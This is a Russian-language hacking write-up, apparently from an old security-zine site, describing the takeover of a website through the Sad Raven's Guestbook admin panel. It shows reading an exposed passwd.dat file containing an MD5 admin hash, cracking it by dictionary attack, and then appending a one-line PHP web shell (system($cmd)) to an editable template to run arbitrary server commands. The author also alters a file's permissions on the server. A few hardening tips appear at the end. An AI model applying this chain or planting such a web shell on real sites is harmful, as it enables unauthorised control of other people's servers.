Взлом через Sad Raven`s Guestbook

Однажды, мой друг попросил меня протестировать его сайт на безопасность.
Естественно я согласился. Просканировав порты я понял, что нужно искать
дырку в скриптах. Чем я и занялся. Но как назло я не смог ничего найти. На
сайте практически нет скриптов, а те который есть защищены. Моё внимание
привлекла гостевая книга. Дело в том, что все скрипты на сайте были написаны
автором, а гостевая нет! Это был скрипт очень популярной гостевой Sad
Raven's Guestbook. Протестировал скрипт на популярные ошибки
- не судьба, все входные параметры
фильтровались... Тогда я скачал исходники и стал
разбираться.



Гостевая состоит из 2 модулей,
администрирование и собственно сама
гостевая. Нас интересует администрирование...
Практически сразу я понял, что пароль
хранится в зашифрованном виде (MD5).



if (file_exists("passwd.dat") &&
$QUERY_STRING != ""):

require ("passwd.dat");

if (!isset($alogin) || md5($pass) != $Password[$alogin] ||

!isset($Password[$alogin])):




Пароль хранится в файле passwd.dat. Открыв этот
файл в браузере, я увидел:



<?php

$Password['root'] = "7e0c76b830931fc0eca7e69a4a2574db";

?>




Оставалось только расшифровать пароль. Это
делается софтиной md5indide. Для взлома
необходимо создать текстовый документ и
вписать в него следующее:

$Password['root'] = "7e0c76b830931fc0eca7e69a4a2574db";

Далее этот файл открывается в md5inside и
расшифровывается Наибольший процент дает
перебор по словарю. Через 20 минут у меня был
пароль от админки. Если ты думаешь, что я
получил только доступ к редактированию
сообщений, то сильно заблуждаешься. Я мог
редактировать дизайн! Я зашел в этот раздел
и увидел, что можно редактировать два файла
- header.inc.php и footer.inc.php . Оба отвечают за вид
Гостевой. Так вот, расширение у обоих сами
видите какое.



Первый файл:



<html>

<head>

<title>Гостевая книга</title>

<meta http-equiv="content-type" content="text/html; charset=windows-1251">


<link rel=stylesheet href=design/guest.css type=text/css>

<script language=JavaScript><!--

var ico;function smile(ico)

{document.Sad_Raven_Guestbook.mess. value=document.Sad_Raven_Guestbook.
mess.value+ico;}

//--></script>

</head>

<body bgcolor=<?=$BACKGROUND?> topmargin=15 leftmargin=0 marginwidth=0

marginheight=0>

<div align=center>

<table width=598 border=0 cellspacing=0 cellpadding=2><tr><td>


<table width=598 border=0 cellspacing=1 cellpadding=3

bgcolor=<?=$BORDER?>> <tr><td align=center class=p

bgcolor="<?=$DARK?>"> <b></b></td></tr></table>


</td></tr><tr><td>




Значит я могу выполнять любой php код!!!
Остается добавить в конец <?system($cmd);?>. Все!
Я получил возможность выполнять ЛЮБЫЕ (на
что хватит прав) команды на сервере! Дальше
я просто поменял права на index.htm, поставил их
равными 0600 ?)). Это самое безобидное, что
можно было сделать, сами понимаете. Теперь
пару слов о безопасности. Прежде всего не
выбирай простые пароли! Берите что-нибудь
такое: F^L@C^4_@%$)*#&^&. Замени в файле admin.php <passwd.dat>
на что-нибудь бессмысленное, например
dsiahfhh.dat. И по возможности не пользуйся
чужими скриптами. Если ты неуверен на 100% в
безопасности скрипта - удали его и напишите
свой!

Категория: Материалы сайта
Теги: ,
Постоянная ссылка